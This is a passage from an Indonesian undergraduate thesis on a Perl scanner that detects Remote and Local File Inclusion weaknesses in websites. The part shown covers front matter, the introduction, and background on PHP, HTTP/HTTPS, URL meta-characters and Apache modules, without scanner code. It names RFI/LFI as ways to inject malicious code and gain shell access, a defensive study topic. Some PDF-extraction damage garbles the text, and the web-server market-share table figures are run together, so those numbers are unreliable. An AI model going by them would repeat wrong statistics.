• Tidak ada hasil yang ditemukan

APLIKASI DETEKSI KELEMAHAN WEBSITE DENGAN MENGGUNAKAN METODE INJEKSI REMOTE FILE INCLUSION DAN LOCAL FILE.

N/A
N/A
Protected

Academic year: 2017

Membagikan "APLIKASI DETEKSI KELEMAHAN WEBSITE DENGAN MENGGUNAKAN METODE INJEKSI REMOTE FILE INCLUSION DAN LOCAL FILE."

Copied!
113
0
0

Teks penuh

(1)

INCLUSION

SKRIPSI

Diajukan untuk memenuhi sebagai pr asyarat dalam memperoleh gelar sarjana komputer program studi teknik infor matika

Disusun Oleh : LUHUR SASONGKO

0834110016

PROGRAM STUDI TEKNIK INFORMATIKA FAKULTAS TEKNOLOGI INDUSTRI

UNIVERSITAS PEMBANGUNAN NASIONAL " VETERAN" J AWA TIMUR

(2)

APLIKASI DETEKSI KELEMAHAN WEBSITE DENGAN

MENGGUNAKAN METODE INJ EKSI REMOTE FILE INCLUSION

DAN LOCAL FILE INCLUSION

Disusun Oleh :

LUHUR SASONGKO

0834110016

Telah dipertahankan dihadapan dan diterima oleh Tim Penguji Skr ipsi Pr ogram Studi Teknik Infor matika Fakultas Teknologi Industri

Universitas Pembangunan Nasional “VETERAN” J awa Timur Pada Tanggal : 19 J uli 2012

Dekan Fakultas Teknologi Industri

(3)

APLIKASI DETEKSI KELEMAHAN WEBSITE DENGAN

MENGGUNAKAN METODE INJ EKSI REMOTE FILE INCLUSION

DAN LOCAL FILE INCLUSION

Disusun Oleh :

LUHUR SASONGKO

0834110016

Telah disetujui mengikuti Ujian Negara Lisan Gelombang V Tahun Akademik 2012

Menyetujui,

Pembimbing Utama Pembimbing Pendamping

R. R. Ani Dijah Rahajoe, ST, M.Cs Fetty Tri Anggareny, S.Kom, M.Kom NIP. 19730512 200501 2 003 NPTY. 38202 060 2081

Mengetahui,

Ketua Program Studi Teknik Infor matika Fakultas Teknologi Industri

Univer sitas Pembangunan Nasional “Veteran” J awa Timur

(4)

Puji syukur kita panjatkan kehadirat Allah SWT, Tuhan Yang Maha Esa yang telah memberikan rahmat serta hidayah-Nya sehingga penyusunan laporan ini dapat diselesaikan.

Laporan ini disusun untuk Tugas Akhir saya, dengan judul “ APLIKASI DETEKSI KELEMAHAN WEBSITE DENGAN MENGGUNAKAN METODE INJ EKSI REMOTE FILE INCLUSION DAN LOCAL FILE INCLUSION ”

Ucapan terima kasih saya sampaikan juga ke berbagai pihak yang turut membantu memperlancar penyelesaian Tugas Akhir ini, yaitu kepada:

1. Bapak Prof.Dr.Ir. Teguh Sudarto, MP Selaku Rektor Universitas Pembangunan Nasional “Veteran” Jawa Timur.

2. Bapak Ir. Sutiyono, MT Selaku Dekan Fakultas Teknologi Industri UPN “Veteran” Jawa Timur

3. Ibu Dr.Ir. Ni Ketut Sari, MT Selaku Kepala Jurusan Teknik Informatika. FTI, UPN “Veteran” Jawa Timur.

4. Rr. Ani Dijah Rahajoe, ST, M.Cs dan Fetty Tri Anggraeny, S.Kom selaku pembimbing, yang telah sabar dan arif dalam membimbing dan memberikan nasehat kepada saya.

5. Firza Prima Aditiawan, S.Kom selaku PIA Jurusan Teknik Informatika yang telah membantu saya.

6. Kedua orang tua saya masing-masing, ibu yang banyak memberikan Doa, Kasih Sayang, Cinta, Kesabaran sejak saya dalam kandungan serta bimbingan, dan semangat sampai saya menjadi sekarang ini, terima kasih banyak untuk semuanya dan terima kasih karena selalu menjadi orang tua yang baik buat saya. Kepada Ibu yang selalu men-support saya agar selalu bersemangat dan meraih cita-cita. 7. Buat kakak saya Refi Kusuma Wardani dan Ria Sri Wulan S.S terima kasih atas

semangat dan nasehatnya.

(5)

Yuangga K. P., bli jovi, hanis, faizal, fajar, zulfi, arda dll yang tidak bisa saya sebutkan satu persatu semangat dan hiburan, keep open source guys.

Selesainya Tugas Akhir ini merupakan kebahagiaan tersendiri bagi penulis. Penulis menyadari bahwa dalam penyusunan Tugas Akhir ini masih banyak terdapat kekurangan yang harus diperbarui. Untuk itu penulis mengharapkan saran dan kritik demi kesempurnaan Tugas Akhir ini.

Demikianlah laporan ini disusun semoga bermanfaat, sekian dan terima kasih.

Surabaya, 19 September 2012

Penulis

(6)

iv

ABSTRAK ... i

KATA PENGANTAR ... ii

DAFTAR ISI ... iv

DAFTAR GAMBAR ... vii

DAFTAR TABEL ... x

BAB I PENDAHULUAN ... 1

1.1 Latar Belakang ... 1

1.2 Perumusan Masalah ... 2

1.3 Batasan Masalah ... 2

1.4 Tujuan ... 3

1.5 Manfaat ... 3

1.6 Metode Penelitian ... 3

1.7 Sistematika Penulisan ... 3

BAB II TINJUAN PUSTAKA ... 7

2.1 PHP ... 7

2.2 Protokol HTTP dan HTTPS ... 12

2.2.1 HTTP (Hypertext Transfer Protokol) ... 12

(7)

v

2.3.1 URL Encoding dan Meta-karakter ... 17

2.4 Web Server ... 18

2.4.1 Web Server Apache ... 21

2.5 HTML (Hyper Text Markup Language) ... 27

2.5.1 Struktur HTML ... 28

2.6 Perl ... 30

2.7 Teknik Serangan Website... 32

2.8 Remote Code Execution ... 33

2.9 Remote File Inclusion... 34

2.10 Local File Inclusion ... 36

2.11 Pencurian Data ... 39

BAB III ANALISIS DAN PERANCANGAN SISTEM ... 41

3.1 Analisi dan Konsep Perancangan Program ... 41

3.2 Analisi Kebutuhan ... 41

3.2.1 Identifikasi Kebutuhan Pendukung ... 42

3.3 Design Sistem ... 42

3.4 Perancangan Sistem ... 44

3.5 Perancangan Data Input ... 44

(8)

vi

BAB IV IMPLEMENTASI ... 54

4.1 Implementasi Sistem ... 54

BAB V PENGUJIAN DAN ANALISIS ... 78

5.1 Lingkungan Pengujian ... 78

5.2 Uji Coba ... 78

5.2.1 Aplikasi Web Vulnerability Scanner ... 79

5.2.2 Proses RFI_Scanner ... 79

5.2.3 Proses LFI_Scanner ... 82

5.3 Analisis ... 100

5.3.1 Analisis RFI_Scanner ... 100

5.3.2 Analisis LFI_Scanner ... 101

BAB VI PENUTUP ... 102

6.1 Kesimpulan ... 102

(9)

Penyusun : Luhur Sasongko

ABSTRAK

Dalam pem buat an Aplikasi Analisis Kelemahan W ebsite Dengang

M enggunakan M et ode Injeksi Remote File Inclusion dan Local File Incluison ini dapat m enscanning w ebsit e dimana w ebsite t ersebut m empunyai kerentaan t erhadap

injeksi rem ote file inclusion dan local file inclusion sehingga w ebsit e tersebut dapat diperbaiki.

Aplikasi ini menggunakan bahasa pem rograman perl dim ana hanya t ampilan t ext yang dit ampilkan dalam pembuatan aplikasi ini. Tam pilan pada aplikasi ini

hanya sekedar text tanpa ada form -form karena m enscanning vulnerable pada w ebsit e t arget yang dit uju.

Dengan adanya aplikasi analisis kelem ahan w ebsite m enggunkaan met ode

injeksi rem ote file inclusion dan local file inclusion dapat m emberikan inform asi

t entang bagaim ana sebuah w ebsite t arget rent an terhadap injeksi rem ot e file

inclusion dan local file inclusion .

(10)

1.1 Latar Belakang

Dunia Internet telah menjadi sarana bagi semua orang untuk saling bertukar informasi dan berkomunikasi. Hal tersebut dapat dilakukan dengan hanya mengetik alamat ip address suatu situs di browser dengan lengkap dan benar. Namun tanpa kita sadari, setiap situs tersebut terdapat kelemahan-kelemahan yang tidak diketahui oleh user atau pengelola situs yang sering disebut admin. Akhirnya sebuah situs tersebut dapat dimanfaatkan oleh orang yang tidak bertanggung jawab.

Kelemahan-kelemahan tersebut dapat berupa kode-kode program yang lemah dan tidak terlindungi oleh keamanan yang kuat. Terdapat beberapa teknik web hacking yang dapat kita gunakan untuk memanfaatkan kelemahan tersebut.

Diantaranya ialah teknik Remote File Inclusion (RFI), Local File Inclusion (LFI)). Teknik-teknik tersebut memanfaatkan kode yang terdapat di dalam program sebuah situs yang lemah tanpa perlindungan yang kuat dari sebuah admin situs tersebut.

RFI dan LFI, File Inclusion itu sendiri adalah menyisipkan potongan

malicious code attacker ke dalam sebuah situs yang vulnerable. Dampak yang

dihasilkan dari File Inclusion bisa dikatakan “High Risk” karena File Inclusion bisa digunakan untuk mendapatkan akses shell.

(11)

pada website yang akan di serang atau website target. Sehingga website target tersebut dapat di perbaharui sistem keamanannya.

Untuk itu studi ini merencanakan membuat sebuah sistem bagaimana mengetahui kelemahan website yang diinjeksi dengan menggunakan pemrograman Perl sehingga dapat dijalankan di multiplatform sehingga tidak tergantung pada sistem operasi tertentu dan dapat dijalankan baik di windows, linux, maupun unix.

1.2 Perumusan Masalah

Berdasarkan latar belakang diatas, maka perumusan masalah yang dipergunakan dalam tugas akhir ini adalah :

1. Bagaimana mengetahui kelemahan khususnya pada website ?

2. Memperlihatkan kelamahan pada website dengan menggunakan bahasa pemrograman Perl dengan metode RFI dan LFI ?

1.3 Batasan Masalah

Adapun batasan masalah yang dipergunakan dalam tugas akhir ini agar pembahasan tidak menyimpang dari tujuan adalah :

1. Aplikasi yang dibangun menggunakan bahasa pemrograman Perl.

2. Aplikasi yang dibangun hanya menemukan kelemahan yang menyebabkan kerugian pada website target.

(12)

1.4 Tujuan

Tujuan yang diharapkan dari penulis tugas akhir ini adalah bagaimana cara mengalisa dan menemukan kelemahan website dengan aplikasi analisis kelemahan website terhadap metode injeksi RFI dan LFI.

1.5 Manfaat

Aplikasi ini diharapkan akan dapat dimanfaatkan untuk mengetahui kelemahan website dengan metode injeksi RFI dan LFI sehingga pemilik website yang terkena serangan dapat memperbaiki website tersebut sehingga tidak ada celah yang bisa diserang.

1.6 Metode Penelitian

Metode yang dipakai dalam menyelesaikan penelitian ini adalah: 1. Studi literatur

Melakukan studi, analisis dan dokumentasi literature, dan sumber catatan lain yang berkaitan dengan permasalahan yang dibahas, yaitu memastikan bagaimana kelamahan terhadap website menggunakan metode injeksi RFI dan LFI dengan bahasa pemrograman Perl.

2. Pengumpulan data

Mencari proses-proses pencarian data penunjang mengenai kelamahan website dengan menggunakan metode injeksi RFI dan LFI dengan bahasa

(13)

Perencanaan pembuatan sistem meliputi perencanaan bagaimana cara menganalisis kelemahan website dengan menggunakan metode injeksi RFI dan LFI dalam proses pembuatan aplikasi.

4. Pembuatan program komputer yang meliputi pembuatan antar muka Pembuatan program menggunakan bahasa pemrograman Perl dan Active Perl untuk menjalankan dan menampilkan aplikasi tersebut.

5. Uji coba sistem

Melakukan pengujian sistem terhadapa aplikasi yang dibuat dengan menguji penginjeksian terhadap website target.

6. Perbaikan atau penambahan data

Setelah melakukan proses pengujian sistem dan ternyata terjadi beberapa kekurangan, maka sistem perlu diperbaiki lagi sehingga sistem yang dibuat bersifat valid hasilnya.

7. Analisis

Dari pengujian sistem dan perbaikan atau penambahan data yang dibuat analisis sistemnya apakah sudah bekerja seperti yang telah diencanakan. 8. Membuat kesimpulan

Membuat suatu kesimpulan dari pengujian sistem tugas akhir dengan membandingkan apakah hasilnya seperti yang diharapakan.

9. Penyusunan laporan

(14)

1.7 Sistematika Penulisan

Sistematika penulisan tugas akhir ini disusun untuk memberikan gambaran umum tentang penelitian yang dijalankan. Sistematika penulisan tugas akhir ini adalah sebagai berikut :

BAB I PENDAHULUAN

Berisi latar belakang yang menjelaskan pentingnya penelitian yang dilakukan, latar belakang masalah, perumusan masalah, batasan masalah, tujuan penelitian, manfaat pengguna, metodologi yang dipakai selama penelitian, dan sistematika penulisan.

BAB II TINJ AUAN PUSTAKA

Pada bab ini akan dijelaskan landasan teori-teori yang akan mendukung pada proses pembuatan sistem. Teori-teori tersebut diantaranya adalah sebagai berikut : pengertian tentang web, pengertian dan penjelasan tentang metode injeksi RFI dan LFI. Pengertian tentang bahasa pemrograman Perl.

BAB III ANALISIS DAN PERANCANGAN SISTEM

(15)

BAB IV IMPLEMENTASI

Pada bab ini akan diuraikan hasil penelitian beserta pembahasannya.

BAB V UJ I COBA DAN EVALUASI

Membahas mengenai pengimplementasian aplikasi yang telah dibuat ke perangkat yang akan digunakan dan diuraikan beserta pembahasannya. Pengujian sistem secara umum maupun terperinci. Pengujian sistem secara umum mambahas mengenai lingkungan uji coba untuk menggunakan sistem ini. Selanjutnya lebih terperinci dijelaskan dalam pengujian sistem meliuti skenario pengujian sistem, beserta langkah-langkah dalam uji coba sistem. Dari seluruh hasil uji coba tersebut, kemudian dianalisis kembali apakah telah sesuai dengan tujuan pembuatan aplikasi.

BAB VI PENUTUP

Bab ini merupakan bagian terakhir dari laporan tugas akhir yang berisi kesimpulan dari uji coba dan saran-saran yang diambil dari kelemahan aplikasi untuk pengembangan lebih lanjut dari sistem yang telah dibuat oleh penulis.

DAFTAR PUSTAKA

(16)

2.1 PHP

PHP adalah bahasa pemrograman script yang paling banyak dipakai saat

ini. PHP banyak dipakai untuk memrogram situs web dinamis, walaupun tidak tertutup kemungkinan digunakan untuk pemakaian lain. Contoh terkenal dari aplikasi PHP adalah phpBB dan MediaWiki (software di belakang Wikipedia). PHP juga dapat dilihat sebagai pilihan lain dari ASP.NET/C#/VB.NET Microsoft,

ColdFusion Macromedia, JSP/Java Sun Microsystems, dan CGI/Perl. Contoh

(17)

meresmikan rilis tersebut sebagai PHP 3.0 dan singkatan PHP dirubah menjadi akronim berulang PHP: Hypertext Preprocessing. Pada pertengahan tahun 1999, Zend merilis interpreter PHP baru dan rilis tersebut dikenal dengan PHP 4.0. PHP

4.0 adalah versi PHP yang paling banyak dipakai pada awal abad ke-21. Versi ini

banyak dipakai disebabkan kemampuannya untuk membangun aplikasi web kompleks tetapi tetap memiliki kecepatan dan stabilitas yang tinggi.

Pada Juni 2004, Zend merilis PHP 5.0. Dalam versi ini, inti dari interpreter PHP mengalami perubahan besar. Versi ini juga memasukkan model pemrograman berorientasi objek ke dalam PHP untuk menjawab perkembangan bahasa pemrograman ke arah paradigma berorientasi objek. kelebihan PHP dari bahasa pemrograman lain :

a. Bahasa pemrograman PHP adalah sebuah bahasa script yang tidak melakukan sebuah kompilasi dalam penggunaanya.

b. Web Server yang mendukung PHP dapat ditemukan dimana - mana dari mulai apache, IIS, Lighttpd, nginx, hingga Xitami dengan konfigurasi yang relatif mudah.

c. Dalam sisi pengembangan lebih mudah, karena banyaknya milis - milis dan developer yang siap membantu dalam pengembangan.

d. Dalam sisi pemahamanan, PHP adalah bahasa scripting yang paling mudah karena memiliki referensi yang banyak.

e. PHP adalah bahasa open source yang dapat digunakan di berbagai mesin (Linux, Unix, Macintosh, Windows) dan dapat dijalankan secara runtime melalui

(18)

PHP memiliki 7 tipe data yaitu :

1. Integer

Nilai sebuah data dari sebuah tipe data integer adalah nilai bilangan bulat tersebut dalam matematika. Representasi data ini merupakan cara bagaimana nilainya disimpan di dalam memori komputer. Tipe data integral terbagi menjadi dua buah kategori, baik itu bertanda (signed) ataupun tidak bertanda (unsigned). Bilangan bulat bertanda mampu merepresentasikan nilai bilangan bulat negatif, sementara bilangan bulat tak bertanda hanya mampu merepresentasikan bilangan bulat positif. Representasi integer positif di dalam komputer sebenarnya adalah untaian bit, dengan menggunakan sistem bilangan biner. Urutan dari bit-bit tersebut pun bervariasi, bisa berupa Little Endian ataupun Big Endian. Selain ukuran, lebar atau ketelitian (presisi) bilangan bulat juga bervariasi, tergantung jumlah bit yang direpresentasikanya. Bilangan bulat yang memiliki n bit dapat mengodekan 2n. Jika tipe bilangan bulat tersebut adalah bilangan bulat tak bertanda, maka jangkauannya adalah dari 0 hingga 2n-1.

2. Double

Double adalah deklarasi untuk tipe data numerik bilangan pecahan secara

(19)

3. Boolean

Boolean adalah suatu tipe data yang hanya mempunyai dua nilai. Yaitu

true atau false (benar atau salah). Pada beberapa bahasa pemograman nilai true bisa digantikan 1 dan nilai false digantikan 0.

4. String

String dalam pemrograman komputer adalah sebuah deret simbol. Tipe

data string adalah tipe data yang digunakan untuk menyimpan barisan

karakter.

5. Object

Object merupakan tipe data yang bisa berupa bilangan, variabel atau

fungsi. Data ini dapat dimasukkan ke dalam skrip program sehingga meringkas beberapa fungsi dan memperkecil ukuran file.

6. Array

Array adalah suatu tipe data terstruktur yang dapat menyimpan banyak

(20)

7. Null

Null itu artinya kosong, Tapi artian kosong tidak sama dengan string ""

atau string empty.

Kode program PHP menyatu dengan tag-tag HTML dalam satu file. Kode PHP diawali dengan tag <? atau <?php dan ditutup dengan tag ?>. File yang

berisi tag HTML dan kode PHP ini diberiekstensi .php atau ekstensi lainnya yang ditetapkan pada Apache atau web server. Berdasarkan ekstensi ini, pada saat file diakses, server akan tahu bahwa file ini mengandung kode PHP. Server akan menerjemahkan kode ini dan menghasilkan keluaran dalam bentuk tag HTML yang akan dikirim ke browser client yang mengakses file tersebut. Sebagai

Echo “Selamat menggunakan PHP”; ?>

(21)

Pada contoh program diatas terdapat satu baris perintah PHP, yaitu

<?

Echo “Selamat menggunakan PHP”; ?>

Perintah ini dibuka dengan tag <? dan ditutup dengan tag ?>. Perintah PHP dapat disisipkan disembarang tempat dari file diatas. Setiap baris perintah

PHP diakhiri dengan tanda titik koma (;), tag penutup ?> juga dapat berfungsi

sebagai pengganti titik koma (;), jadi baris perintah diatas dapat juga dituliskan <? Echo“Selamat menggunakan PHP”?>.

2.2 Pr otokol HTTP dan HTTPS

2.2.1 HTTP (Hyper Text Transtfer Pr otocol)

Hypertext Transfer Protocol (HTTP) adalah sebuah protokol

jaringan lapisan aplikasi yang digunakan untuk sistem informasi terdistribusi, kolaboratif, dan menggunakan hypermedia. Penggunaannya banyak pada pengambilan sumber daya yang saling terhubung dengan tautan, yang disebut dengan dokumen hypertext, yang kemudian membentuk World Wide Web pada tahun 1990 oleh fisikawan Inggris, Tim Berners-Lee.

Pengembangan standar HTTP telah dilaksanakan oleh Konsorsium World Wide Web (World Wide Web Consortium/W3C) dan juga Internet

Engineering Task Force (IETF), yang berujung pada publikasi beberapa

(22)

adalah RFC 2616 (yang dipublikasikan pada bulan Juni 1999), yang mendefinisikan HTTP/1.1.

Dukungan untuk HTTP/1.1 yang belum disahkan, yang pada waktu itu RFC 2068, secara cepat diadopsi oleh banyak pengembang penjelajah web pada tahun 1996 awal. Pada bulan Maret 2006, salah satu perusahaan web hosting melaporkan bahwa lebih dari 40% dari penjelajah Web yang digunakan di Internet adalah penjelajah web yang mendukung HTTP/1.1. Standar HTTP/1.1 yang didefinisikan dalam RFC 2068 secara resmi dirilis pada bulan Januari 1997. Peningkatan dan pembaruan terhadap standar HTTP/1.1 dirilis dengan dokumen RFC 2616 pada bulan Juni 1999.

Gambar 2.1: Request-Response Protokol HTTP

Cara kerja protokol HTTP yaitu meminta/menjawab antara client dan server seperti tampak pada Gambar 2.1. Sebuah klien HTTP (seperti web browser atau robot dan lain sebagainya), biasanya memulai

permintaan dengan membuat hubungan ke port tertentu di sebuah server Webhosting tertentu (default port 80). Klien yang mengirimkan

(23)

meresponsnya, yang menyimpan sumber daya seperti berkas HTML dan gambar, dikenal juga sebagai origin server. Di antara user agent dan juga origin server, bisa saja ada penghubung, seperti halnya proxy, gateway,

dan juga tunnel.

2.2.2 HTTPS (HTTP Over SSL)

HTTPS adalah protokol yang digunakan untuk lalu lintas yang terenkripsi dalam aliran HTTP. Keseluruhan pesan dienkripsi sewaktu Secure Socket Layer (SSL) digunakan. Ada banyak versi SSL dan tersedia protokol-protokol (Transport Layer Security, TLS, dan RFC2246) yang berhubungan dengannya, termasuk SSLv1, SSLv2, dan SSLv3. Dan untuk membuat paket data semakin dikacaukan, SSL menwarkan variasi pilihan untuk standar enkripsi yang digunakan dalam versi tertentu dan SSL. Misalnya, dengan SSLv3, bisa menggunakan DES sampai RSA (RC2 dan RC4).

Jadi, HTTPS itu mempunyai rekues dan respon yang sama dengan HTTP. Akan tetapi proses pengirimannya yang berbeda, yaitu melalui SSL. Berikut contoh rekues dan respon yang terjadi saat meminta halaman

(24)

Accept-Language: en-us,en;q=0.5 Expires: Sun, 13 Jun 2010 20:44:43 GMT Date: Sun, 06 Jun 2010 20:44:43 GMT

refresh: 0;URL=https://mail.google.com/mail/

(25)

dienkripsi dan diacak terlebih dahulu dan tidak ditransfer dalam bentuk plaintext seperti pada versi HTTP tanpa SSL. Dalam versi HTTP, Expires

diset -1 sedangkan pada versi HTTPS diset Expires: Sun, 13 Jun 2010 20:44:43 GMT. Artinya, pada versi HTTPS lebih mengutamakan keamanan dengan memberikan masa expired pada pengguna.

2.3 URL (Unifor m Resource Locator)

URL merupakan suatu inovasi dasar bagi perkembangan sejarah Internet. URL pertama kali diciptakan oleh Tim Berners-Lee pada tahun 1991 agar penulis-penulis dokumen-dokumen dapat merujuk pranala ke World Wide Web. Sejak 1994, konsep URL telah dikembangkan menjadi istilah Uniform Resource Identifier (URI) yang lebih umum sifatnya. Walaupun demikian, istilah URL

masih tetap digunakan secara luas. Tabel 2.1 menjelasakan komponen-komponen URL.

Tabel 2.1: Komponen-komponen URL (McClure, 2003)

Komponen Keterangan

Protokol Protokol lapisan aplikasi yang dipakai. Seperti HTTP, FTP, dan yang lainnya.

Server [:port] Nama DNS, Nama Netbios, atau alamat IP dari sebuah host sumber yang diminta. \[:port] merupakan pilihan jika menggunakan port yang tidak default (default HTTP = 80)

Alamat/ke/file Alamat direktori atau folder dan file yang diminta. Parameter Parameter dapat dilewatkan ke sumber bila ia adalah

sebuah aplikasi atau sebuah program yang secara dinamis membangkitkan output. Kadangkala bagian URL yang mengkhususkan parameter yang disebut juga Query String.

(26)

request ke server Web. URL digunakan dengan software browser untuk menempatkan dan mengakses informasi di web. Struktur URL adalah:

Protokol://Server\[:port]/Alamat/ke/file?Parameter=nilai_parameter Contoh:

https://www.site.com:80/order/buy.asp?item=100 2.3.1 URL Encoding dan Meta-Karakter

Pada intinya, URL merupakan string alfanumerik dengan beberapa simbol lain yang dimasukkan ke dalamnya. Karakter penyusun string URL terdiri dari simbol-simbol, simbol alfanumerik yang terdiri dari A-Z, a-z, dan bilangan 0-9. Selain itu ada simbol tambahan, diantaranya ; / ? : @ & = + $ , < > # % “ dan karakter khusus meliputi - _ . ! ~ * ‘ ( ) { } | \ ^ [ ].

Pada banyak bagian, string URL terdiri dari huruf-huruf, angka-angka, dan simbol-simbol tambahan yang memiliki arti khusus di dalam string URL. Karakter-karakter khusus yang lain bisa ditemukan pada beberapa string URL, walaupun karakter-karakter itu tidak memiliki arti khusus sejauh menyangkut URL. Namun demikian, karakter-karakter itu bisa memiliki arti khusus bagi web server yang menerima URL atau aplikasi yang diminta lewat web server. Tabel 2.2 menjelaskan tentang arti karakter khusus dalam URL.

Tabel 2.2: Karakter Khusus dan Artinya dalam URL (McClure, 2003)

Karakter Arti

? Pemisah query string. Bagian string URL di sebelah kanan simbol ? adalah Query String.

& Delimiter parameter. Digunakan untuk memisahkan pasangan parameter name=value pada Query String.

= Memisahkan nama parameter dari nilai parameter. + Diterjemahkan menjadi spasi.

: Pemisah protokol. Bagian string URL mulai dari awal sampai simbol : menentukan protokol layer aplikasi.

(27)

% Dipakai sebagai karakter escape untuk menentukan karakter heksadesimal yang ter-encode.

@ Dipakai pada URL mailto: sewaktu menentukan alamat email atau sewaktu melewatkan login berkas-berkas penting milik pengguna ke sumber yang terproteksi, khususnya pada FTP.

~ Dipakai untuk menentukan home directory pengguna pada sistem multi pengguna seperti unix.

Sedangkan untuk karakter-karakter seperti * ; | dan ‘ memiliki arti tertentu sebagai meta-karakter pada script aplikasi. Karakter-karakter ini tidak mempengaruhi URL, tetapi jika karakter-karakter itu mengakhiri perintah untuk masuk ke aplikasi, bisa mengubah arti input seluruhnya dan kadang kala menciptakan lubang keamanan.

2.4 Web Server

Web server merupakan sebuah perangkat lunak dalam server yang berfungsi menerima permintaan (request) berupa halaman web melalui HTTP atau HTTPS dari klien yang dikenal dengan browser web dan mengirimkan kembali (response) hasilnya dalam bentuk halaman-halaman web yang umumnya berbentuk dokumen HTML. Sehingga web server adalah software yang menjadi tulang belakang web.

(28)

format ini kemudian akan ditampilkan oleh browser sesuai kemampuan browser tersebut.

Proses yang dimulai dari permintaan browser, diterima web server, diproses, dan dikembalikan hasil prosesnya oleh web server ke browser lagi dilakukan secara transparan. Setiap orang dapat dengan mudah mengetahui apa yang terjadi pada tiap-tiap proses. Secara garis besarnya web server hanya memproses semua masukan yang dikirim oleh browser. Contoh web server yaitu Apache, nginx, GWS, Apache Tomcat, Microsoft Windows server 2003 Internet Information Service (IIS), lighttp, Jigsaw, Sun java system web server, Xitami web server, Zerus web server.

Cara Kerja Web Server

prinsip atau cara kerja web server itu sendiri? Cukup sederhana untuk dipahami, karena pada dasarnya tugas web server hanya ada 2 (dua), yaitu:

a. Menerima permintaan (request) dari client.

b. Mengirim apa yang diminta oleh client (response).

(29)

Penjelasan Gambar 2.2 :

1. Client disini dapat berupa computer desktop dengan minimal memiliki browser dan ter hubung ke web server melalui jaringan (intranet atau

internet).

2. Komputer yang berfungsi sebagai server, dimana didalamnya terdapat perangkat lunak web server. Agar computer ini dapat diakses oleh client maka computer harus terhubung ke jaringan (intranet atau internet). Dalam jaringan internet, computer ini biasa saja bernama www.google.com. www.bl.ac.id atau memiliki kode computer (disebut IP Address) seperti

202.10.20.10 dan 200.100.50.25.

3. Pertama-tama, client (user) akan meminta suatu halaman ke (web) server untuk ditampilkan di computer client. Misalnya client mengetikan suatu alamat (biasa disebut URL) di browser http://www.google.com. Client menekan tombol enter atau klik tombol Go pada browser. Lalu apa yang terjadi? Melalui media jaringan (bisa internet, bisa intranet) dan melalui protocol http,akan dicarilah computer bernama www.google.com. Jika

ditemukan, maka seolah-olah terjadi permintaan, “hai google, ada client yang minta halaman utama nih, ada dimana halamanya?”. Inilah yang disebut request.

4. Sekarang dari sisi server (web server). Mendapat permintaan halaman utama google dari client, si server akan mencari-cari di komputernya halaman

(30)

2.4.1 Web Server Apache

Apache adalah server web yang dapat dijalankan di banyak sistem operasi (Unix, BSD, Linux, Microsoft Windows dan Novell Netware serta platform lainnya) yang berguna untuk melayani dan memfungsikan situs web. Protokol yang digunakan untuk melayani fasilitas web ini menggunakan HTTP.

Apache juga didukung oleh sejumlah antarmuka pengguna berbasis grafik (GUI) yang memungkinkan penanganan server menjadi mudah. Apache merupakan perangkat lunak sumber terbuka dikembangkan oleh komunitas terbuka yang terdiri dari pengembang-pengembang dibawah naungan Apache Software Foundation. Proyek Apache diawali dengan terbentuknya milis "new-httpd" yang dicanangkan untuk mendiskusikan pengembangan dan masa depan dari server NSCA (National Center for Supercomputing Applications) yang ada di University of Illinois.

(31)

Gambar 2.3: Persentase penggunaan web server(1995-2012) (http://news.netcraft.com/)

Tabel 2.3: Persentase penggunaan web server (1996-2010) (http://news.netcraft.com)

Developer April 2012 Percent May 2012 Percent Change Apache 443,102,56165 46% 425,631,72164 20% -1.26 Microsoft 92,488,75113 66% 92,406,48013 94% 0.28

nginx 69,869,91610 32% 70,764,24810 67% 0.35 Google 22,039,9013 26% 21,264,6163 21% -0.05

(32)

Ar sitektur Apache

Sebagai lawan dari arsitektur monolitik server di mana semua kegiatan tersebut dilakukan oleh satu, Apache menggunakan pendekatan modular. Gambar 2.3 menggambarkan arsitektur umum dari Apache. Ada bagian inti dari server yang bertanggung jawab untuk mendefinisikan dan mengikuti langkah-langkah dalam melayani permintaan (Apache Core) dan beberapa modul yang benar-benar melaksanakan berbagai tahapan penanganan permintaan (Apache Module).

Apache Core mengimplementasikan fungsi dasar server. Selain itu, Apache Core juga menerapkan sejumlah fungsi tambahan. Fungsi tambahan itu seperti pengalokasian memori atau sumber daya untuk menangani atau memproses suatu permintaan dari client (HTTP Request). Apache Core ini juga berfungsi untuk membangun child setiap permintaan yang masuk.

(33)

Modul Apache

Apache merupakan aplikasi server web yang memiliki inti (core) yang kecil kemudian digabungkan dengan modul-modul. Modul-modul tersebut di-compile dengan referensi yang sudah ditentukan dalam Apache Core sehingga modul-modul tersebut dapat bekerja seiring dengan Apache Core. Modul-modul tersebut diletakkan pada direktori /modules/ atau /libexec/ dan di-load oleh Apache Core sesuai fungsi masing-masing.

(34)

Gambar 2.5: Arsitektur Apache dan modul Apache (Dragoi, 1999)

Apache dikompilasi dengan memasukkan modul-modulnya sebagai bagian dari file binary. Modul-modul tersebut yang mendukung fitur-fitur yang ditawarkan oleh Apache. Misalnya mod_auth yang mendukung otentikasi teks murni. Modul yang disediakan oleh Apache secara default adalah :

1) Pembuatan environment

a) mod_env Pembuatan variabel environment untuk skrip CGI/SSI

b) mod_setenv if Pembuatan variabel environment berdasarkan header HTTP c) mod_unique_id Pengenal khusus untuk permintaan Content Type Decision d) mod_mime Penentuan tipe isi/encoding (configured)

(35)

f) mod_negotiation Penentuan pemilihan berdasarkan the HTTP Accept headers URL mapping

2) Pengaturan direktori

a) mod_dir Pengaturan direktori dan direktori default file

b) mod_autoindex Kontrol akses terhadap direktori file indeks secara otomatis.

c) mod_access Kontrol akses (user, host, jaringan) d) mod_auth Autentikasi dasar HTTP (user, passwd)

e) mod_auth_dbm Autentikasi dasar HTTP lewat file Unix NDBM. f) mod_auth_db Autentikasi dasar HTTP lewat file Berkeley-DB g) mod_auth_anon Autentikasi dasar HTTP untuk user anonymous h) mod_digestAutentikasi HTTP Digest Autentikasi HTTP response i) mod_headers Respon header HTTP secara acak (configured) j) mod_expires Respon HTTP yang lewat jangka waktu

k) mod_include Dukungan Server Side Includes (SSI)

l) mod_cgi Dukungan Common Gateway Interface (CGI)* 'handlers' 3) Pengaturan content internal

a) mod_status Pengaturan content untuk status server run-time b) mod_info Pengaturan content untuk info singkat konfigurasi server 4) Pencatatan akses

(36)

5) Lain-lain

a) mod_imap Dukungan Server-side Image Map

b) mod_proxy Caching Modul Proxy (HTTP, HTTPS, FTP) c) mod_so Dynamic Shared Object (DSO) bootstrapping 6) Experimental

mod_mmap_static Caching halaman yang sering diminta lewat mmap() 7) Pengembangan

mod_example Demonstrasi Apache API demonstration (developers only)

2.5 HTML (Hyper Text Markup Language)

